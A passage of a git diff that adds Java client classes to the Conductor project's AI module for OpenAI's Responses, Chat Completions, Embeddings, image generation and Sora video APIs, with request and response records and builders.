reasoningBuilder.append("\n\n"); + } + reasoningBuilder.append(s.text()); + } + } + } + } + + // Build a single Generation with text + any tool calls + AssistantMessage assistantMessage; + if (!toolCalls.isEmpty()) { + assistantMessage = + AssistantMessage.builder() + .content(textBuilder.toString()) + .toolCalls(toolCalls) + .build(); + } else { + assistantMessage = new AssistantMessage(textBuilder.toString()); + } + + // Map status to finish reason + String mappedReason = mapFinishReason(finishReason); + ChatGenerationMetadata genMeta = + ChatGenerationMetadata.builder().finishReason(mappedReason).build(); + generations.add(new Generation(assistantMessage, genMeta)); + } + + // Build usage metadata + int inputTok = usage != null && usage.inputTokens() != null ? usage.inputTokens() : 0; + int outputTok = usage != null && usage.outputTokens() != null ? usage.outputTokens() : 0; + int totalTok = usage != null && usage.totalTokens() != null ? usage.totalTokens() : 0; + org.springframework.ai.chat.metadata.DefaultUsage springUsage = + new org.springframework.ai.chat.metadata.DefaultUsage( + inputTok, outputTok, totalTok); + + ChatResponseMetadata.Builder metaBuilder = + ChatResponseMetadata.builder() + .id(result.id()) + .model(result.model()) + .usage(springUsage); + + // Store the response ID in metadata for previous_response_id chaining + if (result.id() != null) { + metaBuilder.keyValue("response_id", result.id()); + } + + if (!reasoningBuilder.isEmpty()) { + metaBuilder.keyValue("reasoning", reasoningBuilder.toString()); + } + if (usage != null + && usage.outputTokensDetails() != null + && usage.outputTokensDetails().reasoningTokens() != null) { + metaBuilder.keyValue("reasoning_tokens", usage.outputTokensDetails().reasoningTokens()); + } + + return new ChatResponse(generations, metaBuilder.build()); + } + + private String mapFinishReason(String status) { + if (status == null) return "STOP"; + return switch (status) { + case "completed" -> "STOP"; + case "TOOL_CALLS" -> "TOOL_CALLS"; + case "incomplete" -> "MAX_TOKENS"; + case "failed" -> "ERROR"; + default -> status.toUpperCase(); + }; + } + + @Override + public ChatOptions getDefaultOptions() { + return ToolCallingChatOptions.builder().build(); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/OpenAIResponsesChatOptions.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/OpenAIResponsesChatOptions.java new file mode 100644 index 0000000..57cd8e8 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/OpenAIResponsesChatOptions.java @@ -0,0 +1,69 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.openai; + +import java.util.List; + +import org.conductoross.conductor.ai.providers.openai.api.OpenAIResponsesApi; +import org.springframework.ai.chat.prompt.ChatOptions; + +import lombok.Builder; +import lombok.Data; + +/** + * Chat options for the OpenAI Responses API. Carries both standard ChatOptions fields and + * Responses-API-specific fields (previousResponseId, reasoningEffort, built-in tools, etc.) through + * Spring AI's ChatOptions interface. + */ +@Data +@Builder +public class OpenAIResponsesChatOptions implements ChatOptions { + + private String model; + private Double temperature; + private Double topP; + private Integer maxTokens; + private Double frequencyPenalty; + private Double presencePenalty; + private List stopSequences; + + // Responses API specific + private String previousResponseId; + private String reasoningEffort; + private String reasoningSummary; + private Boolean jsonOutput; + private List responsesApiTools; + + @Override + public Integer getTopK() { + return null; // Not supported by OpenAI + } + + @Override + public ChatOptions copy() { + return OpenAIResponsesChatOptions.builder() + .model(model) + .temperature(temperature) + .topP(topP) + .maxTokens(maxTokens) + .frequencyPenalty(frequencyPenalty) + .presencePenalty(presencePenalty) + .stopSequences(stopSequences) + .previousResponseId(previousResponseId) + .reasoningEffort(reasoningEffort) + .reasoningSummary(reasoningSummary) + .jsonOutput(jsonOutput) + .responsesApiTools(responsesApiTools) + .build(); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/OpenAIVideoModel.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/OpenAIVideoModel.java new file mode 100644 index 0000000..38fdd57 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/OpenAIVideoModel.java @@ -0,0 +1,215 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.openai; + +import java.util.ArrayList; +import java.util.Base64; +import java.util.List; + +import org.conductoross.conductor.ai.providers.openai.api.OpenAIVideoApi; +import org.conductoross.conductor.ai.video.*; + +import lombok.extern.slf4j.Slf4j; +import okhttp3.OkHttpClient; + +/** + * OpenAI Sora video model implementation. + * + *

Implements {@link AsyncVideoModel} for the OpenAI Video API (Sora). Supports both + * text-to-video and image-to-video generation. + * + *

The async flow: + * + *

    + *
  1. {@link #call(VideoPrompt)} submits a generation job via POST /v1/videos + *
  2. {@link #checkStatus(String)} polls GET /v1/videos/{id} for progress + *
  3. On completion, downloads the MP4 binary via GET /v1/videos/{id}/content + *
+ */ +@Slf4j +public class OpenAIVideoModel implements AsyncVideoModel { + + private final OpenAIVideoApi api; + private final OkHttpClient httpClient; + + public OpenAIVideoModel(OpenAIVideoApi api, OkHttpClient httpClient) { + this.api = api; + this.httpClient = httpClient; + } + + @Override + public VideoResponse call(VideoPrompt prompt) { + try { + VideoOptions opts = prompt.getOptions(); + String text = prompt.getInstructions().getFirst().getText(); + + // Resolve input image if provided (for image-to-video) + byte[] imageBytes = null; + String imageMimeType = null; + if (opts.getInputImage() != null && !opts.getInputImage().isBlank()) { + imageBytes = resolveImageBytes(opts.getInputImage()); + imageMimeType = detectMimeType(opts.getInputImage()); + } + + // Build size string: use explicit size, or construct from width x height + String size = opts.getSize(); + if (size == null && opts.getWidth() != null && opts.getHeight() != null) { + size = opts.getWidth() + "x" + opts.getHeight(); + } + + // Duration as string (OpenAI API expects string, not integer) + String seconds = opts.getDuration() != null ? String.valueOf(opts.getDuration()) : null; + + OpenAIVideoApi.VideoCreateParams params = + new OpenAIVideoApi.VideoCreateParams( + text, opts.getModel(), size, seconds, imageBytes, imageMimeType); + + OpenAIVideoApi.VideoStatusResponse status = api.submitVideoJob(params); + + log.info( + "OpenAI Sora video job submitted: id={}, status={}", + status.id(), + status.status()); + + VideoResponseMetadata metadata = new VideoResponseMetadata(); + metadata.setJobId(status.id()); + metadata.setStatus(mapStatus(status.status())); + + return new VideoResponse(List.of(), metadata); + + } catch (Exception e) { + log.error("Failed to submit OpenAI video generation job", e); + throw new RuntimeException("Failed to submit video generation: " + e.getMessage(), e); + } + } + + @Override + public VideoResponse checkStatus(String jobId) { + try { + OpenAIVideoApi.VideoStatusResponse status = api.getVideoStatus(jobId); + + VideoResponseMetadata metadata = new VideoResponseMetadata(); + metadata.setJobId(status.id()); + metadata.setStatus(mapStatus(status.status())); + metadata.put("progress", status.progress()); + + if ("completed".equals(status.status())) { + // Download the video MP4 as bytes + // Use direct byte storage to avoid base64 encoding overhead (~33% memory savings) + byte[] videoBytes = api.downloadVideo(jobId); + + Video video = Video.fromBytes(videoBytes, "video/mp4"); + VideoGeneration generation = new VideoGeneration(video); + + List generations = new ArrayList<>(); + generations.add(generation); + + // Optionally download thumbnail (OpenAI returns webp thumbnails) + try { + byte[] thumbnailBytes = api.downloadThumbnail(jobId); + Video thumbnail = Video.fromBytes(thumbnailBytes, "image/webp"); + generations.add(new VideoGeneration(thumbnail)); + } catch (Exception e) { + log.debug( + "Could not download thumbnail for video {}: {}", jobId, e.getMessage()); + } + + metadata.setStatus("COMPLETED"); + log.info("OpenAI Sora video completed: id={}", jobId); + return new VideoResponse(generations, metadata); + + } else if ("failed".equals(status.status())) { + metadata.setStatus("FAILED"); + metadata.setErrorMessage( + "OpenAI video generation failed: %s".formatted(status.toString())); + log.error("OpenAI Sora video failed: id={}, response = {}", jobId, status); + return new VideoResponse(List.of(), metadata); + + } else { + // queued or in_progress + metadata.setStatus("PROCESSING"); + log.debug( + "OpenAI Sora video in progress: id={}, progress={}%", + jobId, status.progress()); + return new VideoResponse(List.of(), metadata); + } + + } catch (Exception e) { + log.error("Failed to check OpenAI video status for job {}", jobId, e); + throw new RuntimeException("Failed to check video status: " + e.getMessage(), e); + } + } + + /** + * Maps OpenAI status strings to our canonical status values. + * + *

OpenAI uses: queued, in_progress, completed, failed + */ + private String mapStatus(String openaiStatus) { + return switch (openaiStatus) { + case "completed" -> "COMPLETED"; + case "failed" -> "FAILED"; + default -> "PROCESSING"; + }; + } + + /** + * Resolves an input image specification to raw bytes. + * + *

Supports: + * + *

    + *
  • data: URI (e.g., data:image/png;base64,xxx) + *
  • HTTP/HTTPS URL (downloads the image) + *
  • Raw base64 string + *
+ */ + private byte[] resolveImageBytes(String inputImage) { + if (inputImage.startsWith("data:")) { + String base64Part = inputImage.substring(inputImage.indexOf(",") + 1); + return Base64.getDecoder().decode(base64Part); + } else if (inputImage.startsWith("http://") || inputImage.startsWith("https://")) { + return downloadFromUrl(inputImage); + } else { + // Assume raw base64 + return Base64.getDecoder().decode(inputImage); + } + } + + /** Detects the MIME type from an input image specification. */ + private String detectMimeType(String inputImage) { + if (inputImage.startsWith("data:")) { + // Extract MIME type from data URI: data:image/png;base64,... + return inputImage.substring(5, inputImage.indexOf(";")); + } else if (inputImage.toLowerCase().endsWith(".png")) { + return "image/png"; + } else if (inputImage.toLowerCase().endsWith(".webp")) { + return "image/webp"; + } + return "image/jpeg"; + } + + private byte[] downloadFromUrl(String url) { + okhttp3.Request request = new okhttp3.Request.Builder().url(url).get().build(); + try (okhttp3.Response response = httpClient.newCall(request).execute()) { + if (response.body() == null) { + throw new RuntimeException("Empty response downloading image from " + url); + } + return response.body().bytes(); + } catch (RuntimeException e) { + throw e; + } catch (Exception e) { + throw new RuntimeException("Failed to download image from " + url, e); + } + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/api/OpenAIChatCompletionsApi.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/api/OpenAIChatCompletionsApi.java new file mode 100644 index 0000000..8f7dd07 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/api/OpenAIChatCompletionsApi.java @@ -0,0 +1,320 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.openai.api; + +import java.io.IOException; +import java.util.List; + +import com.netflix.conductor.common.config.ObjectMapperProvider; + +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; +import com.fasterxml.jackson.annotation.JsonInclude; +import com.fasterxml.jackson.annotation.JsonProperty; +import com.fasterxml.jackson.databind.ObjectMapper; +import lombok.extern.slf4j.Slf4j; +import okhttp3.MediaType; +import okhttp3.OkHttpClient; +import okhttp3.Request; +import okhttp3.RequestBody; +import okhttp3.Response; +import okhttp3.ResponseBody; + +/** + * OkHttp REST client for OpenAI-compatible Chat Completions API (POST /chat/completions). + * + *

Works with any provider that implements the OpenAI Chat Completions format: Perplexity, Grok + * (xAI), Together AI, etc. + */ +@Slf4j +public class OpenAIChatCompletionsApi { + + private static final MediaType JSON = MediaType.parse("application/json"); + + private final String baseUrl; + private final String apiKey; + private final String completionsPath; + private final OkHttpClient httpClient; + private final ObjectMapper objectMapper; + + public OpenAIChatCompletionsApi( + OkHttpClient httpClient, String apiKey, String baseUrl, String completionsPath) { + this.baseUrl = + baseUrl != null && baseUrl.endsWith("/") + ? baseUrl.substring(0, baseUrl.length() - 1) + : baseUrl; + this.apiKey = apiKey; + this.completionsPath = completionsPath != null ? completionsPath : "/chat/completions"; + this.httpClient = httpClient; + this.objectMapper = new ObjectMapperProvider().getObjectMapper(); + } + + public OpenAIChatCompletionsApi(OkHttpClient httpClient, String apiKey, String baseUrl) { + this(httpClient, apiKey, baseUrl, null); + } + + public ChatCompletionResult createChatCompletion(ChatCompletionRequest request) + throws IOException { + String jsonBody = objectMapper.writeValueAsString(request); + log.debug("Chat Completions API request: {}", jsonBody); + + Request httpRequest = + new Request.Builder() + .url(baseUrl + completionsPath) + .header("Authorization", "Bearer " + apiKey) + .header("Content-Type", "application/json") + .post(RequestBody.create(jsonBody, JSON)) + .build(); + + try (Response response = httpClient.newCall(httpRequest).execute()) { + ResponseBody body = response.body(); + String responseBody = body != null ? body.string() : ""; + if (!response.isSuccessful()) { + // Some models (e.g. o-series via compatible endpoints) reject temperature. + if (response.code() == 400 + && responseBody.contains("temperature") + && request.temperature() != null) { + return createChatCompletion(request.withoutTemperature()); + } + throw new IOException( + "Chat Completions API failed with status %d: %s" + .formatted(response.code(), responseBody)); + } + log.debug("Chat Completions API response: {}", responseBody); + return objectMapper.readValue(responseBody, ChatCompletionResult.class); + } + } + + // -- Request DTOs -- + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record ChatCompletionRequest( + String model, + List messages, + Double temperature, + @JsonProperty("top_p") Double topP, + @JsonProperty("max_tokens") Integer maxTokens, + List stop, + @JsonProperty("frequency_penalty") Double frequencyPenalty, + @JsonProperty("presence_penalty") Double presencePenalty, + @JsonProperty("top_k") Integer topK, + @JsonProperty("response_format") ResponseFormat responseFormat, + List tools, + @JsonProperty("tool_choice") Object toolChoice) { + + public static Builder builder() { + return new Builder(); + } + + public ChatCompletionRequest withoutTemperature() { + return new ChatCompletionRequest( + model, + messages, + null, + topP, + maxTokens, + stop, + frequencyPenalty, + presencePenalty, + topK, + responseFormat, + tools, + toolChoice); + } + + public static class Builder { + private String model; + private List messages; + private Double temperature; + private Double topP; + private Integer maxTokens; + private List stop; + private Double frequencyPenalty; + private Double presencePenalty; + private Integer topK; + private ResponseFormat responseFormat; + private List tools; + private Object toolChoice; + + public Builder model(String model) { + this.model = model; + return this; + } + + public Builder messages(List messages) { + this.messages = messages; + return this; + } + + public Builder temperature(Double temperature) { + this.temperature = temperature; + return this; + } + + public Builder topP(Double topP) { + this.topP = topP; + return this; + } + + public Builder maxTokens(Integer maxTokens) { + this.maxTokens = maxTokens; + return this; + } + + public Builder stop(List stop) { + this.stop = stop; + return this; + } + + public Builder frequencyPenalty(Double frequencyPenalty) { + this.frequencyPenalty = frequencyPenalty; + return this; + } + + public Builder presencePenalty(Double presencePenalty) { + this.presencePenalty = presencePenalty; + return this; + } + + public Builder topK(Integer topK) { + this.topK = topK; + return this; + } + + public Builder responseFormat(ResponseFormat responseFormat) { + this.responseFormat = responseFormat; + return this; + } + + public Builder tools(List tools) { + this.tools = tools; + return this; + } + + public Builder toolChoice(Object toolChoice) { + this.toolChoice = toolChoice; + return this; + } + + public ChatCompletionRequest build() { + return new ChatCompletionRequest( + model, + messages, + temperature, + topP, + maxTokens, + stop, + frequencyPenalty, + presencePenalty, + topK, + responseFormat, + tools, + toolChoice); + } + } + } + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record MessageItem( + String role, + Object content, // String or List + String name, + @JsonProperty("tool_calls") List toolCalls, + @JsonProperty("tool_call_id") String toolCallId) { + + public static MessageItem system(String content) { + return new MessageItem("system", content, null, null, null); + } + + public static MessageItem user(String content) { + return new MessageItem("user", content, null, null, null); + } + + /** Multi-part user message (text + image parts) for vision input. */ + public static MessageItem user(List content) { + return new MessageItem("user", content, null, null, null); + } + + public static MessageItem assistant(String content) { + return new MessageItem("assistant", content, null, null, null); + } + + public static MessageItem assistant(String content, List toolCalls) { + return new MessageItem("assistant", content, null, toolCalls, null); + } + + public static MessageItem tool(String toolCallId, String content) { + return new MessageItem("tool", content, null, null, toolCallId); + } + } + + /** A content part of a multi-part user message (OpenAI vision format). */ + @JsonInclude(JsonInclude.Include.NON_NULL) + public record ContentPart( + String type, String text, @JsonProperty("image_url") ImageUrl imageUrl) { + + public static ContentPart text(String text) { + return new ContentPart("text", text, null); + } + + /** {@code url} is an https URL or a {@code data:;base64,<...>} URI. */ + public static ContentPart imageUrl(String url) { + return new ContentPart("image_url", null, new ImageUrl(url)); + } + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record ImageUrl(String url) {} + } + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record ToolCallItem(String id, String type, FunctionCall function) {} + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record FunctionCall(String name, String arguments) {} + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record ResponseFormat(String type) { + + public static ResponseFormat jsonObject() { + return new ResponseFormat("json_object"); + } + } + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record ToolDef(String type, FunctionDef function) { + + public static ToolDef function(String name, String description, Object parameters) { + return new ToolDef("function", new FunctionDef(name, description, parameters)); + } + } + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record FunctionDef(String name, String description, Object parameters) {} + + // -- Response DTOs -- + + @JsonIgnoreProperties(ignoreUnknown = true) + public record ChatCompletionResult( + String id, String object, String model, List choices, Usage usage) {} + + @JsonIgnoreProperties(ignoreUnknown = true) + public record Choice( + Integer index, + MessageItem message, + @JsonProperty("finish_reason") String finishReason) {} + + @JsonIgnoreProperties(ignoreUnknown = true) + public record Usage( + @JsonProperty("prompt_tokens") Integer promptTokens, + @JsonProperty("completion_tokens") Integer completionTokens, + @JsonProperty("total_tokens") Integer totalTokens) {} +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/api/OpenAIEmbeddingsApi.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/api/OpenAIEmbeddingsApi.java new file mode 100644 index 0000000..eed5cc9 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/api/OpenAIEmbeddingsApi.java @@ -0,0 +1,91 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.openai.api; + +import java.io.IOException; +import java.util.List; + +import com.netflix.conductor.common.config.ObjectMapperProvider; + +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; +import com.fasterxml.jackson.annotation.JsonInclude; +import com.fasterxml.jackson.databind.ObjectMapper; +import lombok.extern.slf4j.Slf4j; +import okhttp3.MediaType; +import okhttp3.OkHttpClient; +import okhttp3.Request; +import okhttp3.RequestBody; +import okhttp3.Response; +import okhttp3.ResponseBody; + +/** + * OkHttp REST client for the OpenAI Embeddings API (POST /v1/embeddings). + * + *

Supports both OpenAI and Azure OpenAI endpoints. + */ +@Slf4j +public class OpenAIEmbeddingsApi { + + private static final MediaType JSON = MediaType.parse("application/json"); + + private final String baseUrl; + private final String authHeaderName; + private final String authHeaderValue; + private final OkHttpClient httpClient; + private final ObjectMapper objectMapper; + + public OpenAIEmbeddingsApi( + OkHttpClient httpClient, String apiKey, String baseUrl, boolean azureAuth) { + this.baseUrl = baseUrl != null ? baseUrl : "https://api.openai.com/v1"; + this.authHeaderName = azureAuth ? "api-key" : "Authorization"; + this.authHeaderValue = azureAuth ? apiKey : "Bearer " + apiKey; + this.httpClient = httpClient; + this.objectMapper = new ObjectMapperProvider().getObjectMapper(); + } + + public OpenAIEmbeddingsApi(OkHttpClient httpClient, String apiKey, String baseUrl) { + this(httpClient, apiKey, baseUrl, false); + } + + public EmbeddingResult createEmbeddings(EmbeddingRequest request) throws IOException { + String jsonBody = objectMapper.writeValueAsString(request); + + Request httpRequest = + new Request.Builder() + .url(baseUrl + "/embeddings") + .header(authHeaderName, authHeaderValue) + .header("Content-Type", "application/json") + .post(RequestBody.create(jsonBody, JSON)) + .build(); + + try (Response response = httpClient.newCall(httpRequest).execute()) { + ResponseBody body = response.body(); + String responseBody = body != null ? body.string() : ""; + if (!response.isSuccessful()) { + throw new IOException( + "Embeddings API failed with status %d: %s" + .formatted(response.code(), responseBody)); + } + return objectMapper.readValue(responseBody, EmbeddingResult.class); + } + } + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record EmbeddingRequest(String model, String input, Integer dimensions) {} + + @JsonIgnoreProperties(ignoreUnknown = true) + public record EmbeddingResult(String object, List data, String model) {} + + @JsonIgnoreProperties(ignoreUnknown = true) + public record EmbeddingData(String object, Integer index, List embedding) {} +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/api/OpenAIImageGenApi.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/api/OpenAIImageGenApi.java new file mode 100644 index 0000000..eeb225b --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/api/OpenAIImageGenApi.java @@ -0,0 +1,157 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.openai.api; + +import java.io.IOException; +import java.util.List; + +import com.netflix.conductor.common.config.ObjectMapperProvider; + +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; +import com.fasterxml.jackson.annotation.JsonInclude; +import com.fasterxml.jackson.annotation.JsonProperty; +import com.fasterxml.jackson.databind.ObjectMapper; +import lombok.extern.slf4j.Slf4j; +import okhttp3.MediaType; +import okhttp3.OkHttpClient; +import okhttp3.Request; +import okhttp3.RequestBody; +import okhttp3.Response; +import okhttp3.ResponseBody; + +/** + * OkHttp REST client for the OpenAI Image Generation API (POST /v1/images/generations). + * + *

Supports both OpenAI and Azure OpenAI endpoints. + */ +@Slf4j +public class OpenAIImageGenApi { + + private static final MediaType JSON = MediaType.parse("application/json"); + + private final String baseUrl; + private final String authHeaderName; + private final String authHeaderValue; + private final OkHttpClient httpClient; + private final ObjectMapper objectMapper; + + public OpenAIImageGenApi( + OkHttpClient httpClient, String apiKey, String baseUrl, boolean azureAuth) { + this.baseUrl = baseUrl != null ? baseUrl : "https://api.openai.com/v1"; + this.authHeaderName = azureAuth ? "api-key" : "Authorization"; + this.authHeaderValue = azureAuth ? apiKey : "Bearer " + apiKey; + this.httpClient = httpClient; + this.objectMapper = new ObjectMapperProvider().getObjectMapper(); + } + + public OpenAIImageGenApi(OkHttpClient httpClient, String apiKey, String baseUrl) { + this(httpClient, apiKey, baseUrl, false); + } + + public ImageResult createImage(ImageRequest request) throws IOException { + String jsonBody = objectMapper.writeValueAsString(request); + + Request httpRequest = + new Request.Builder() + .url(baseUrl + "/images/generations") + .header(authHeaderName, authHeaderValue) + .header("Content-Type", "application/json") + .post(RequestBody.create(jsonBody, JSON)) + .build(); + + try (Response response = httpClient.newCall(httpRequest).execute()) { + ResponseBody body = response.body(); + String responseBody = body != null ? body.string() : ""; + if (!response.isSuccessful()) { + throw new IOException( + "Image Generation API failed with status %d: %s" + .formatted(response.code(), responseBody)); + } + return objectMapper.readValue(responseBody, ImageResult.class); + } + } + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record ImageRequest( + String model, + String prompt, + Integer n, + String size, + String style, + String quality, + @JsonProperty("response_format") String responseFormat // "url" or "b64_json" + ) { + + public static Builder builder() { + return new Builder(); + } + + public static class Builder { + private String model; + private String prompt; + private Integer n; + private String size; + private String style; + private String quality; + private String responseFormat = "b64_json"; + + public Builder model(String model) { + this.model = model; + return this; + } + + public Builder prompt(String prompt) { + this.prompt = prompt; + return this; + } + + public Builder n(Integer n) { + this.n = n; + return this; + } + + public Builder size(String size) { + this.size = size; + return this; + } + + public Builder style(String style) { + this.style = style; + return this; + } + + public Builder quality(String quality) { + this.quality = quality; + return this; + } + + public Builder responseFormat(String responseFormat) { + this.responseFormat = responseFormat; + return this; + } + + public ImageRequest build() { + return new ImageRequest(model, prompt, n, size, style, quality, responseFormat); + } + } + } + + @JsonIgnoreProperties(ignoreUnknown = true) + public record ImageResult(Long created, List data) {} + + @JsonIgnoreProperties(ignoreUnknown = true) + public record ImageData( + String url, + @JsonProperty("b64_json") String b64Json, + @JsonProperty("revised_prompt") String revisedPrompt) {} +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/api/OpenAIResponsesApi.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/api/OpenAIResponsesApi.java new file mode 100644 index 0000000..2a6c8e1 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/api/OpenAIResponsesApi.java @@ -0,0 +1,441 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.openai.api; + +import java.io.IOException; +import java.util.List; +import java.util.Map; + +import com.netflix.conductor.common.config.ObjectMapperProvider; + +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; +import com.fasterxml.jackson.annotation.JsonInclude; +import com.fasterxml.jackson.annotation.JsonProperty; +import com.fasterxml.jackson.databind.ObjectMapper; +import lombok.extern.slf4j.Slf4j; +import okhttp3.MediaType; +import okhttp3.OkHttpClient; +import okhttp3.Request; +import okhttp3.RequestBody; +import okhttp3.Response; +import okhttp3.ResponseBody; + +/** + * OkHttp REST client for the OpenAI Responses API. + * + *

Supports both OpenAI and Azure OpenAI endpoints via configurable auth. + * + *

Endpoint: POST /v1/responses (OpenAI) or POST /openai/v1/responses (Azure) + * + * @see OpenAI Responses + * API + */ +@Slf4j +public class OpenAIResponsesApi { + + private static final MediaType JSON = MediaType.parse("application/json"); + + private final String baseUrl; + private final String authHeaderName; + private final String authHeaderValue; + private final OkHttpClient httpClient; + private final ObjectMapper objectMapper; + + /** + * @param httpClient Shared OkHttpClient instance + * @param apiKey API key + * @param baseUrl Base URL (e.g. "https://api.openai.com/v1" or + * "https://resource.openai.azure.com/openai/v1") + * @param azureAuth true for Azure (api-key header), false for OpenAI (Bearer token) + */ + public OpenAIResponsesApi( + OkHttpClient httpClient, String apiKey, String baseUrl, boolean azureAuth) { + this.baseUrl = baseUrl != null ? baseUrl : "https://api.openai.com/v1"; + this.authHeaderName = azureAuth ? "api-key" : "Authorization"; + this.authHeaderValue = azureAuth ? apiKey : "Bearer " + apiKey; + this.httpClient = httpClient; + this.objectMapper = new ObjectMapperProvider().getObjectMapper(); + } + + public OpenAIResponsesApi(OkHttpClient httpClient, String apiKey, String baseUrl) { + this(httpClient, apiKey, baseUrl, false); + } + + /** + * Create a model response via POST /v1/responses. + * + * @param request The response creation request + * @return The API response + */ + public ResponseResult createResponse(ResponseRequest request) throws IOException { + String jsonBody = objectMapper.writeValueAsString(request); + log.debug("Responses API request: {}", jsonBody); + + Request httpRequest = + new Request.Builder() + .url(baseUrl + "/responses") + .header(authHeaderName, authHeaderValue) + .header("Content-Type", "application/json") + .post(RequestBody.create(jsonBody, JSON)) + .build(); + + try (Response response = httpClient.newCall(httpRequest).execute()) { + String responseBody = readBody(response); + if (!response.isSuccessful()) { + // o-series and some newer OpenAI models reject temperature — retry without it. + if (response.code() == 400 + && responseBody.contains("temperature") + && request.temperature() != null) { + return createResponse(request.withoutTemperature()); + } + throw new IOException( + "Responses API failed with status %d: %s" + .formatted(response.code(), responseBody)); + } + log.debug("Responses API response: {}", responseBody); + return objectMapper.readValue(responseBody, ResponseResult.class); + } + } + + private String readBody(Response response) throws IOException { + ResponseBody body = response.body(); + return body != null ? body.string() : ""; + } + + // -- Request DTOs -- + + /** + * Reasoning config block on the Responses API request. OpenAI's Responses API takes a nested + * object {@code "reasoning": {"effort": "...", "summary": "..."}} rather than the flat {@code + * "reasoning_effort"} parameter the legacy Chat Completions API used. Sending the flat shape + * produces an HTTP 400: "Unsupported parameter: 'reasoning_effort'. ... has moved to + * 'reasoning.effort'." + * + *

